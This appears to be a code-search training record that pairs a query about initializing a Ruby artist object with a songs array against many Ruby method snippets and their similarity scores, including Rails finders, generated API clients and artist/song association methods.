"def result_id\n @record['ResultId']\n end",
"def set_result\n @result = Api::V1::Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def set_result_info\n @result_info = ResultInfo.find(params[:id])\n end",
"def set_result\n @result = Admin::Result.find(params[:id])\n end",
"def set_result\n @result = Result.find(params[:id])\n end",
"def manage_record_result(id, result)\n separator = @global_opts[:csv] ? \",\" : \": \"\n if @client.is_success?\n @response_data.root << result.at_xpath(RECORD_XPATH,\n \"marc\" => XMLNS_MARC\n )\n @response_status << id + separator + PAST_TENSE[@cmd] + \"\\n\"\n puts id + separator + PAST_TENSE[@cmd] if @global_opts[:verbose]\n @successes += 1\n else\n if @global_opts[:csv]\n @response_status << [id, \"failed\", result.to_s].to_csv\n else\n @response_status << id + separator + \"failed\\n\"\n @response_status << result.to_s\n end\n puts id + separator + \"failed\" if @global_opts[:verbose]\n @failures += 1\n end\n end",
"def chosen_inline_result(result_id, query)\n session[:last_chosen_inline_result] = result_id\n end",
"def chosen_inline_result(result_id, query)\n session[:last_chosen_inline_result] = result_id\n end",
"def id\n @result['_id']\n end",
"def set_contest_result\n @contest_result = ContestResult.find(params[:id])\n end",
"def set_result\n results = result_params\n unless results.nil?\n if results.is_a?(String)\n parts = results.split(\"#\")\n @result = @measurement.results.find(parts[0].to_i)\n end\n end\n end",
"def send_result( assembly_id, result )\n\t\tmessage = Assemblage::Protocol.encode( :result, assembly_id, result )\n\t\tself.send_message( message )\n\tend",
"def result_template_id=(value)\n @result_template_id = value\n end",
"def id\n @result.check_id\n end",
"def set_task_result\n @task_result = TaskResult.find(params[:id])\n end",
"def set_task_result\n @task_result = TaskResult.find(params[:id])\n end",
"def set_survey_result\n @survey_result = SurveyResult.find(params[:id])\n end",
"def set_survey_result\n @survey_result = SurveyResult.find(params[:id])\n end",
"def set_survey_result\n @survey_result = SurveyResult.find(params[:id])\n end",
"def add_result name, res\n \n end",
"def poll_result(id)\n query = get_query(id)\n get_query_result(query)\n end",
"def set_student_result\n @student_result = StudentResult.find(params[:id])\n end",
"def set_exam_result\n @exam_result = ExamResult.find(params[:id])\n end",
"def service_surveys_id_results_result_id_get_with_http_info(id, result_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SurveyResultsApi.service_surveys_id_results_result_id_get ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling SurveyResultsApi.service_surveys_id_results_result_id_get\"\n end\n # verify the required parameter 'result_id' is set\n if @api_client.config.client_side_validation && result_id.nil?\n fail ArgumentError, \"Missing the required parameter 'result_id' when calling SurveyResultsApi.service_surveys_id_results_result_id_get\"\n end\n # resource path\n local_var_path = \"/service/surveys/{id}/results/{resultId}\".sub('{' + 'id' + '}', id.to_s).sub('{' + 'resultId' + '}', result_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SurveyResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SurveyResultsApi#service_surveys_id_results_result_id_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def edit_result\n begin\n @cycling = Facade::SportSession::Cycling.find_by id: params[:id]\n\n if not @cycling.is_participant(current_user)\n redirect_to cyclings_url, alert: 'Permission denied'\n end\n\n if @cycling.date > Date.today\n redirect_to cyclings_url, alert: 'Storing results only possible if event is passed'\n end\n\n @result = @cycling.result(current_user)\n rescue\n redirect_to cyclings_url, alert: 'Permission denied'\n end\n end",
"def set_test_result\n @test_result = TestResult.find(params[:id])\n end",
"def set_test_result\n @test_result = TestResult.find(params[:id])\n end",
"def set_four_result\n @four_result = FourResult.find(params[:id])\n end",
"def set_test_case_result\n @test_case_result = TestCaseResult.find(params[:id])\n end",
"def set_work_result\n @work_result = WorkResult.find(params[:id])\n end",
"def set_vulnerability_scan_result\n @vulnerability_scan_result = VulnerabilityScanResult.find(params[:id])\n end",
"def set_job_result\n @job_result = JobResult.find(params[:id])\n end",
"def set_user_result\n @user_result = UserResult.find(params[:id])\n end",
"def id\n @id ||= @response['id']\n end",
"def edit_result\n begin\n @running = Facade::SportSession::Running.find_by id: params[:id]\n\n if not @running.is_participant(current_user)\n redirect_to runnings_url, alert: 'Permission denied'\n end\n\n if @running.date > Date.today\n redirect_to runnings_url, alert: 'Storing results only possible if event is passed'\n end\n\n @result = @running.result(current_user)\n rescue\n redirect_to runnings_url, alert: 'Permission denied'\n end\n end",
"def to_s\n \"Result #{id}\"\n end",
"def set_result_second\n @result_second = ResultSecond.find(params[:id])\n end",
"def set_test_example_result\n @test_example_result = TestExampleResult.find(params[:id])\n end",
"def id\n reply.documents[0][ID]\n end",
"def set_test_result\n @test_result = TestResult.find(params[:id])\n end",
"def set_post\n \t\t@surveyresults = Surveyresult.find(params[:ResultId])\n \tend",
"def result_info=(value)\n @result_info = value\n end",
"def result_info=(value)\n @result_info = value\n end",
"def set_results\n @exam = Exam.find(params[:exam_id])\n end",
"def process(result)\n unless implicit?\n set_operation_time(result)\n if cluster_time_doc = result.cluster_time\n advance_cluster_time(cluster_time_doc)\n end\n end\n @server_session.set_last_use!\n\n if doc = result.reply && result.reply.documents.first\n if doc[:recoveryToken]\n self.recovery_token = doc[:recoveryToken]\n end\n end\n\n result\n end",
"def set_result_tnmtfirst\n @result_tnmtfirst = ResultTnmtfirst.find(params[:id])\n end",
"def reference_dataset_result\n if p = @project and m = p.miga\n if ds = m.dataset(params[:dataset]) and res = ds.result(params[:result])\n if file = res.data[:files][params[:file].to_sym]\n send_result(file, res)\n return\n end\n end\n end\n render nothing: true, status: 200, content_type: 'text/html'\n end",
"def perform\n @id = client._retrieve(@options).id\n super\n end",
"def set_search_result\n @search_result = SearchResult.find(params[:id])\n end",
"def record(result)\n r = result\n c = r.class\n file, = c.instance_method(r.name).source_location\n failures = Distributed.format(r.failures, manager)\n server.test_result(pid, file, c.name, r.name, failures, r.assertions, r.time)\n end",
"def result\n Valkyrie::ID.new(value[\"id\"])\n end",
"def doc_id\n Indexer.index.search(Ferret::Search::TermQuery.new(:probably_unique_id,probably_unique_id)).hits.first.doc\n end",
"def result_template_id\n return @result_template_id\n end",
"def service_surveys_id_results_result_id_delete_with_http_info(id, result_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SurveyResultsApi.service_surveys_id_results_result_id_delete ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling SurveyResultsApi.service_surveys_id_results_result_id_delete\"\n end\n # verify the required parameter 'result_id' is set\n if @api_client.config.client_side_validation && result_id.nil?\n fail ArgumentError, \"Missing the required parameter 'result_id' when calling SurveyResultsApi.service_surveys_id_results_result_id_delete\"\n end\n # resource path\n local_var_path = \"/service/surveys/{id}/results/{resultId}\".sub('{' + 'id' + '}', id.to_s).sub('{' + 'resultId' + '}', result_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SurveyResultsApi#service_surveys_id_results_result_id_delete\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def result\n Valkyrie::ID.new(value[:id])\n end",
"def store_result()\n #This is a stub, used for indexing\n end",
"def get_key_from_result(res)\n res.fetch('id', {}).fetch('S', nil)\n end",
"def result_partial\n if params[:q_ds].nil?\n obj = @project\n proj = obj\n unless params[:r_ds].nil?\n obj = obj.miga.dataset(params[:r_ds])\n obj_miga = obj\n end\n else\n obj = QueryDataset.find(params[:q_ds])\n end\n obj_miga ||= obj.miga\n res = obj_miga.result(params[:result])\n render partial: 'shared/result',\n locals: { res: res, key: params[:result].to_sym, obj: obj, proj: proj },\n layout: false\n #rescue\n # head :ok, content_type: 'text/html'\n end",
"def make_result_info\n end",
"def format_repsonse( result, error, id )\n\t\tquote = '\"'\n\t\t\t'{ \"result\" : ' + result.to_json + \n\t\t\t\t', \"error\":\"' + error.to_s + \n\t\t\t\t'\", \"id\": ' + quote + id.to_s + quote + ' }'\n\t\tend",
"def id\n @id ||= @response['_id']\n end",
"def show\n \t@survey = Survey.find(params[:survey_id])\n \t@result = @survey.results.find(params[:id])\n end",
"def result=(r)\n\n fields['__result__'] = r\n end",
"def link_to_result(t, result)\n url_method = method(result.class.to_s.underscore << '_path')\n url = url_method.call(:id => result, :search_recording_id => @search_recording.full?(&:id))\n link_to(t, url)\n end",
"def saved_query_result(project_id, saved_query_name)\n resource \"projects/#{project_id}/saved_queries/#{saved_query_name}/result\"\n end",
"def set_personal_key_result\n @personal_key_result = PersonalKeyResult.find(params[:id])\n end",
"def add_results_document_tool(name, opts = {})\n add_action(index.document_actions, name, opts)\n end",
"def id(query_id)\n raise NukeCallsError, \"Cannot query nucleosome calls file by id!\"\n end",
"def set_resultadoconsultum\n @resultadoconsultum = Resultadoconsultum.find(params[:id])\n end",
"def set_exam_result_item\n @exam_result_item = ExamResultItem.find(params[:id])\n end",
"def notice_xml\n render xml: {\n notice: {\n id: (@results.first[:hash] rescue nil)\n }\n }\n end",
"def set_delayed_action_result\n @delayed_action_result = DelayedActionResult.find(params[:id])\n end",
"def set_search_result\n @search_result = SearchResult.find(params[:id])\n end",
"def report_get id\n call! report_get, id\n end",
"def set_show_result\n @show_result = ShowResult.find(params[:id])\n end",
"def get_synthetics_result(test_id, result_id)\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/synthetics/tests/#{test_id}/results/#{result_id}\", nil, nil, false)\n end",
"def set_development_result\n @development_result = DevelopmentResult.find(params[:id])\n end",
"def result=(result)\n\t\tadd_tlv(TLV_TYPE_RESULT, result, true)\n\tend",
"def result=(result)\n\t\tadd_tlv(TLV_TYPE_RESULT, result, true)\n\tend",
"def set_result\n @result = Result.new\n end",
"def set_result_fight\n @result_fight = ResultFight.find(params[:id])\n end",
"def record(result)\n\t\t\tif options[:verbose]\n\t\t\t\tio.print \"%s#%s = %.2f s = \" % [result.class, result.name, result.time]\n\t\t\telse\n\t\t\t\tio.print \"#{result.name} \"\n\t\t\tend\n\t\t\tif result.result_code == '.'\n\t\t\t\tputs '✔'\n @@tests += 1\n else\n\t\t\t\tputs result.result_code\n end\n report_results(result, @@tests)\n end",
"def publish_result_data\n end",
"def response_id\n self['id']\n end",
"def set_two_result\n @two_result = TwoResult.find(params[:id])\n end",
"def _id; @doc['_id']; end",
"def _id; @doc['_id']; end",
"def process_result\n end",
"def results( id )\n if @db != nil\n\n end\n\n return nil\n end"
] |
[
"0.68269473",
"0.65793854",
"0.64877886",
"0.64870065",
"0.64870065",
"0.64870065",
"0.64870065",
"0.64870065",
"0.64870065",
"0.64870065",
"0.64870065",
"0.64870065",
"0.6485361",
"0.6414498",
"0.63966376",
"0.63735723",
"0.63063425",
"0.60479057",
"0.60479057",
"0.59624535",
"0.5919488",
"0.59141076",
"0.58752143",
"0.58653194",
"0.58514935",
"0.5835601",
"0.5835601",
"0.5785067",
"0.5785067",
"0.5785067",
"0.56718487",
"0.56716144",
"0.56616277",
"0.56062376",
"0.5592425",
"0.5586621",
"0.55848294",
"0.55848294",
"0.5533689",
"0.5494121",
"0.54743826",
"0.54722756",
"0.5466908",
"0.54627585",
"0.54444164",
"0.54329395",
"0.5427303",
"0.542313",
"0.5417027",
"0.5396698",
"0.5389103",
"0.5351722",
"0.5337111",
"0.5337111",
"0.5323399",
"0.53194004",
"0.5294974",
"0.52942866",
"0.5288739",
"0.5282367",
"0.52712864",
"0.5270828",
"0.52494735",
"0.5247173",
"0.52287436",
"0.5225259",
"0.5220027",
"0.5209505",
"0.5199177",
"0.5182429",
"0.51789856",
"0.51779467",
"0.517431",
"0.517371",
"0.516454",
"0.51638603",
"0.5163687",
"0.5154304",
"0.5153876",
"0.5146894",
"0.514449",
"0.51339597",
"0.51324743",
"0.5129102",
"0.51150453",
"0.5114923",
"0.51112205",
"0.5109662",
"0.5107117",
"0.5107117",
"0.5103462",
"0.51034296",
"0.5102173",
"0.5089807",
"0.5074476",
"0.5070091",
"0.50697255",
"0.50697255",
"0.5068798",
"0.5068489"
] |
0.65429044
|
2
|
initialize the new artist and place it in the artists array, also create an empty array for all the artists songs.
|
def initialize
super
@songs = []
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize\n @@artists << self #artists will be stored at @@artists\n @songs = [] #its empty waiting for to be initilized throu attr_reader\n end",
"def artists(artist)\n if song.artist = nil || !Artist.find_by_name(name)\n song.artist = artist \n Artist.all << artist \n end \n end",
"def artists\n @artists ||= artists_raw.map {|a| @session.artist.build(:name => a) }\n end",
"def initialize\n # @@artists << self\n super\n @songs = []\n end",
"def initialize\n\t\t\n\t\t\t# Initialize processed artists array\n\t\t\t@artists = []\n\t\tend",
"def initialize\n #@@artists << self #push the instance (self) of the class into the @@all class variable, on which they are being called\n super\n @songs = [] #variable of instence; empty\n end",
"def initialize(name) #when an artist is created the name is mandatory\n @name = name #writes/sets a name attribute to the new artist\n @@all << self #pushes that artist into all array. all artist instances go here\n end",
"def artists\n super.map do |artist|\n Spotify::SDK::Artist.new(artist, parent)\n end\n end",
"def initialize(name) #accepts a name for the new artist\n @name = name\n @songs = [] #initialize a songs property set to an empty array\n end",
"def initialize #initializes songs belonging to artist\r\n @song = artist\r\n end",
"def initialize(name) \n @name = name\n @songs = []\n # initilize artist object with name and an array of songs\n end",
"def initialize(name) # an Artist instance is initialized w a name\n @name = name\n @songs = [] # each Artist instance will have many songs and this array will hold those songs\n end",
"def initialize(name) #Creates new instance\n @name = name #Sets instance variable name to name\n @songs = [] #Creates new instance variable array for new Artist\n @@all << self #Adds artist to class variable @@all\n end",
"def initialize(name, artist, genre)\n\n @name = name\n @artist = artist\n @genre = genre\n\n @@count +=1\n @@artists << artist #when a new song is initialize, artist shovel to array\n @@genres << genre #when a new genre is intialized, genre shovel to array\n\n end",
"def initialize(name)\n @name = name\n # accepts a name for the new artist\n @songs = []\n # creates a 'songs' property set to an empty array (artist has many songs)\n end",
"def initialize(name) # 1. #initialize with #name accepts name for artist\n @name = name # 1. initialize with #name accepts name for artist\n @songs = [] # #3. songs keeps track of artist's songs\n end",
"def artists\n artists = []\n self.songs.each do |song|\n artists << song.artist\n end\n artists.uniq\n end",
"def initialize(name)\n @name = name\n @songs = [ ]\n #peter.song = (\"pit\") How to attribute song to the artist after the artist is create.\n end",
"def initialize(name)\n @name = name #the artist's name\n @songs = [] #the artist's collection of songs\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n\n end",
"def add_song(song)\n @songs << song\n song.artist = self\nend",
"def artist=(artist) #assigns an artist to the song (song belongs to artist)\n @artist = artist #artist is reading from Song class artist method(reader)\n artist.add_song(self) #invokes Artist#add_song to add itself to the artist's collection of songs (artist has many songs)\n end",
"def initialize(str=nil)\n \t@name = str\n \t@songs = []\n \t@genre = []\n \t@@artists.push(self)\n end",
"def artist=(artist)\n @artist = artist\n artist.add_song(self) #=> invokes Artist#add_song to add itself to the artist's collection of songs (artist has many songs)\n end",
"def artist=(artist_obj)\n @artist = artist_obj\n\n #self is a song obj\n artist_obj.songs.push(self)\n end",
"def artist=(artist)\n @artist = artist\n if artist.class == Artist\n artist.add_song(self)\n end\n end",
"def artist=(artist)\n @artist = artist\n if artist != nil\n @artist.add_song(self)\n end\n end",
"def artist\n if artists.nil?\n Artist.new :name => super\n elsif artists.size > 1\n artists\n else\n artists.first\n end\n end",
"def add_song(song)\n song.artist= self\n @songs << song\n end",
"def artists\n songs.map {|song| song.artist}\n end",
"def artists\n songs.map do |song|\n song.artist\n end\n end",
"def artists\n songs.map do |song|\n song.artist\n end\n end",
"def new_artist\n Artist.new(\n name: tag_name,\n other_names: other_names,\n url_string: profile_urls.join(\"\\n\")\n )\n end",
"def add_song(song)\n @songs << song\n #here we use the self keyword to refer to the artist on which we are calling this method. We call the =artist method onto the song that is being passed as an argument and set that to self (the artist)\n song.artist = self\n#once we add a new song we want to increase the class array song count\n @@song_count +=1\n end",
"def artist=(artist)\n @artist = artist\n @artist.add_song(self)\n end",
"def artist=(the_artist)\n @artist = the_artist\n if @artist \n @artist.add_song(self)\n end\n @artist\n end",
"def artists\n @songs.collect do |song| #<Song:0x007f874c4eeed8 @artist=#<Artist:0x007f874c4ef0b8 @name=\"Jay-Z\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @genre=#<Genre:0x007f874c4ef018 @name=\"rap\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @name=\"99 Problems\">\n song.artist ##<Artist:0x007f874c4ef0b8 @name=\"Jay-Z\", @songs=[#<Song:0x007f874c4eeed8 @artist=#<Artist:0x007f874c4ef0b8 ...>, @genre=#<Genre:0x007f874c4ef018 @name=\"rap\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @name=\"99 Problems\">]>\n end\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def artist=(artist)\n @artist = artist\n artist.add_song(self)\n end",
"def artist=(artist)\n @artist = artist\n artist.add_song(self)\n end",
"def artist=(artist)\n @artist = artist\n artist.add_song(self)\n end",
"def add_artist(new_artist)\n if @artists.length > 10\n @artists.shift\n else \n @artists.push(new_artist)\n end\n end",
"def artist=(artist)\n @artist = artist\n \n # invokes Artist#add_song to add itself to the artist's\n # collection of songs (artist has many songs)\n artist.add_song(self)\n end",
"def initialize(name)\n @name = name # has a name\n @@all << self #all artist instances push into @@all\n @songs = []\n end",
"def initialize(name)\n @name = name\n @songs = [] #artist's collection of songs\n end",
"def add_song(song)\r\n @songs << song\r\n song.artist = self\r\n end",
"def artist=(artist)\n\n\t\tif artist == nil\n\t\t\t@artist = artist\n\t\telsif artist != nil\n\t\t\t@artist = artist\n\t\t\tartist.add_song(self)\n\t\tend\n\tend",
"def artist=(artist)\n @artist = artist\n artist.add_song(self)\n end",
"def artists\n self.songs.collect{|song| song.artist}\n end",
"def artist=(artist)\n @artist = artist\n #Invokes Artist#add_song to add itself to the artist's songs collection \n # (artist has-many songs) \n self.artist.add_song(self)\n end",
"def add_song(song)\n song.artist = self\n @songs << song\n end",
"def add_song(song)\n song.artist = self\n @songs << song\n end",
"def add_song(song)\n song.artist = self \n end",
"def add_song(song)\n @@songs << song\n song.artist = self\n end",
"def initialize(name) #everytime an Artist instance is created, this method is called. Everything inside the block is its properties\n @name = name\n @songs = []\n\n @@all << self\n end",
"def artist= (artist)\n @artist = artist\n artist.add_song(self)\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def initialize\n\t\t@songs = Array.new\n\tend",
"def initialize(name)\n @name= name # Set the instance variable to the name of the artist\n @songs = []\n end",
"def artists\n self.songs.map {|song| song.artist}\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def initialize\n ARTISTS << self\n self.song = []\n self.genre = []\n end",
"def add_song(song)\n #associates a song to the artist's collection\n @songs << song\n song.artist = self\n end",
"def artists\n @songs.map { |m| m.artist }.uniq\n end",
"def artist()\n sql = \"SELECT * FROM artists WHERE id = $1\"\n values = [@artist_id]\n artists = SqlRunner.run(sql, values)\n result = artists.map {|artist| Artist.new(artist)}\n return result\n end",
"def top_artists\n \n artists=[]\n spotify_artists = JSON.parse(api_call(\"https://api.spotify.com/\",\"v1/me/top/artists\"))\n\n spotify_artists['items'].each do |item|\n new_artist = Artist.find_or_create_by(name: item['name'], spotify_id: item['id'])\n new_artist.update(genre_list: item['genres'])\n artists << new_artist\n end\n\n artists\n\n end",
"def artists\n # - this method will show the connection between songs and artists \n self.songs.collect do |f| \n f.artist\n end\n end",
"def add_song(song)\n song.artist = self\n end",
"def artists\n @songs.collect do |song|\n song.artist\n end\n end",
"def artists\n @songs.collect do |song|\n song.artist\n end\n end",
"def create_artist(node)\n if node.attributes['id'] and @artists[node.attributes['id']]\n artist = @artists[node.attributes['id']]\n else\n artist = @factory.new_artist\n @artists[node.attributes['id']] = artist\n end\n \n # Read all defined data fields\n artist.id = node.attributes['id']\n if node.attributes['type']\n artist.type = Utils.add_namespace(node.attributes['type'])\n end\n \n artist.name = node.elements['name'].text if node.elements['name']\n artist.sort_name = node.elements['sort-name'].text if node.elements['sort-name']\n artist.disambiguation = node.elements['disambiguation'].text if node.elements['disambiguation']\n \n if life_span = node.elements['life-span']\n artist.begin_date = read_date_attribute(life_span, 'begin')\n artist.end_date = read_date_attribute(life_span, 'end')\n end\n \n # Read the alias list\n read_alias_list(node.elements['alias-list'], artist.aliases)\n \n # Read the release list\n read_release_list(node.elements['release-list'], artist.releases) {|release|\n release.artist = artist unless release.artist\n }\n \n # Read the relation list\n if node.elements['relation-list']\n node.elements.each('relation-list') {|relation_node|\n read_relation_list(relation_node) {|relation|\n artist.add_relation relation\n }\n }\n end\n \n # Read the tag list\n read_tag_list(node.elements['tag-list'], artist.tags)\n \n return artist\n end",
"def add_song(song)\n song.artist = self #instead of @songs << song\n \n # - TEST -\n # hello = Song.new(\"Hello\")\n # adele.add_song(hello)\n # expect(adele.songs).to include(hello)\n # expect(hello.artist).to eq(adele) \n end",
"def add_song(song)\n # song.artist = self # assigns the current artist to the song's 'artist' property (song belongs to artist)\n #@songs << song #adds the song to the current artist's 'songs' collection \n ##does not assign the artist if the song already has an artist\n if song.artist == self\n song.artist\n else\n song.artist = self\n end \n # does not add the song to the current artist's collection of songs if it already exists therein\n if songs.include?(song)\n song\n else\n songs << song\n end \n songs\n end",
"def initialize(name, artist, genre)\n @name = name \n @artist = artist \n @genre = genre \n @@artists << artist \n @@genres << genre\n @@count += 1 \n \n end",
"def add_song(song)\n if self.songs.include?(song) == false\n @songs << song\n end\n\n if song.artist.nil? || song.artist == false\n song.artist = self\n end\n\n end",
"def add_song(song)\n @songs << song #add songs by sheveling song into the @song instance\n song.artist = self #add artists name of the songs\n end",
"def initialize(name , artist , genre) #We create initialize to set initial value to object once created.\n @name = name #We create instance variable to keep track of name of songs\n @artist = artist \n @genre = genre\n @@count+=1\n @@artists << artist\n @@genres << genre\n end",
"def add_song(song)\n if song.artist!=self\n song.artist = self\n elsif !@songs.include?(song)\n @songs << song\n end\n end",
"def initialize\n @songs = []\n end",
"def artists\n @songs.collect{|song| song.artist}.uniq\n end",
"def initialize(name, artist = nil, genre = nil) #sets name on initialization\n @name= name #sets property correctly\n @songs= []\n artist.add_song(self) if artist\n genre.add_song(self) if genre\n end",
"def initialize\n @songs = []\n end",
"def initialize\n @songs = []\n end",
"def all_artists\n (track_artists() + artist()).compact.uniq\n end"
] |
[
"0.80120295",
"0.7922159",
"0.7880483",
"0.78510666",
"0.7760986",
"0.7462887",
"0.7437735",
"0.73781914",
"0.7299549",
"0.7251967",
"0.72185147",
"0.71775484",
"0.71683335",
"0.7101243",
"0.7093824",
"0.70860577",
"0.7058823",
"0.7016578",
"0.7012146",
"0.70104414",
"0.69957674",
"0.69857836",
"0.6971847",
"0.6967321",
"0.69609165",
"0.68984336",
"0.6896699",
"0.68926793",
"0.6861466",
"0.6855827",
"0.68500143",
"0.68500143",
"0.6847436",
"0.6844937",
"0.68436104",
"0.6832173",
"0.6830116",
"0.6813776",
"0.6813776",
"0.6813776",
"0.6813776",
"0.6813776",
"0.6813776",
"0.6813776",
"0.6813776",
"0.6813776",
"0.6813776",
"0.6813776",
"0.6812173",
"0.6812173",
"0.6812173",
"0.6801734",
"0.67949843",
"0.6789117",
"0.67879677",
"0.6780387",
"0.6778317",
"0.67672133",
"0.6757826",
"0.6757288",
"0.6730977",
"0.6730977",
"0.6727659",
"0.6725602",
"0.672174",
"0.6713862",
"0.67009723",
"0.67009723",
"0.67009723",
"0.67009723",
"0.67009723",
"0.67009723",
"0.67000407",
"0.6690634",
"0.667494",
"0.666215",
"0.666215",
"0.666215",
"0.6649955",
"0.66487765",
"0.66339266",
"0.66086376",
"0.65954053",
"0.65927845",
"0.6592708",
"0.6590374",
"0.6590374",
"0.6568794",
"0.6563296",
"0.65574074",
"0.6557062",
"0.6554195",
"0.6551603",
"0.6537503",
"0.65294266",
"0.65208554",
"0.6519455",
"0.649061",
"0.64702606",
"0.64702606",
"0.64527786"
] |
0.0
|
-1
|
add a song into the array and assign it to the current artist
|
def add_song(song)
@songs << song
song.artist = self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_song(song)\n @songs << song\n song.artist = self\n\n end",
"def add_song(song)\r\n @songs << song\r\n song.artist = self\r\n end",
"def add_song(song)\n song.artist = self\n @songs << song\n end",
"def add_song(song)\n song.artist = self\n @songs << song\n end",
"def add_song(song)\n @@songs << song\n song.artist = self\n end",
"def add_song(song)\n song.artist= self\n @songs << song\n end",
"def add_song(song)\n @songs << song #add songs by sheveling song into the @song instance\n song.artist = self #add artists name of the songs\n end",
"def add_song(song)\n # song.artist = self # assigns the current artist to the song's 'artist' property (song belongs to artist)\n #@songs << song #adds the song to the current artist's 'songs' collection \n ##does not assign the artist if the song already has an artist\n if song.artist == self\n song.artist\n else\n song.artist = self\n end \n # does not add the song to the current artist's collection of songs if it already exists therein\n if songs.include?(song)\n song\n else\n songs << song\n end \n songs\n end",
"def add_song(song)\n @songs << song\n song.artist = self\nend",
"def add_song(song)\n #associates a song to the artist's collection\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n if song.artist == nil #does not assign the song if the song already has an artist\n song.artist = self #assigns current artist to songs artist property\n else\n nil\n end\n if @songs.include?(song)\n nil\n else\n @songs << song #adds song, does not add the song if already exists\n end\n song\n end",
"def add_song(song)\n # Add song to @songs if it doesn't already exist\n @songs << song if !@songs.include?(song)\n # Add artist if not already assigned\n song.artist = self if song.artist ==nil\n save\n end",
"def add_song(song)\n if song.artist!=self\n song.artist = self\n elsif !@songs.include?(song)\n @songs << song\n end\n end",
"def add_song(song)\n @song = song\n @songs << song\n\n @@song_count = @@song_count + 1\n song.artist = self\n end",
"def add_song(song)\n song.artist = self \n end",
"def add_song(song)\n if self.songs.include?(song) == false\n @songs << song\n end\n\n if song.artist.nil? || song.artist == false\n song.artist = self\n end\n\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song) ### arg is song instance ###\n\t\tsong.artist = self\n\t\tsong.artist.songs << song\n\tend",
"def add_song(song)\n @songs << song\n song.artist = self\n @@sounds_count += 1\n\n end",
"def add_song(song)\n @songs << song\n #here we use the self keyword to refer to the artist on which we are calling this method. We call the =artist method onto the song that is being passed as an argument and set that to self (the artist)\n song.artist = self\n#once we add a new song we want to increase the class array song count\n @@song_count +=1\n end",
"def add_song(song)\n self.songs << song\n new_song = Song.new(song)\n new_song.artist = self\n end",
"def add_song(song)\n song.artist = self\n end",
"def add_song(song)\n song.artist = self #associate the song with this artist\n end",
"def add_song(song) #Add the instance of the song to the @songs array (but do NOT add duplicated)\n if @songs.include?(song) == false #So, check first to see if it has been added yet or not.\n @songs << song #Push the song into the array if it has not been added yet\n song.artist = self if song.artist == nil #If no artist (nil) then the Song's artist is self (this instance of the song/artist) Associates the two. else nil #If else (i.e. song is already included in the array, do not add it.)\n end\n end",
"def add_song(song)\n @@song_count += 1\n @songs << song\n song.artist = self #self refers to Artist\n\n end",
"def add_song(song)\n if(!song.artist)\n song.artist = self\n end\n \n if(!self.songs.include?song)\n self.songs << song\n end\n end",
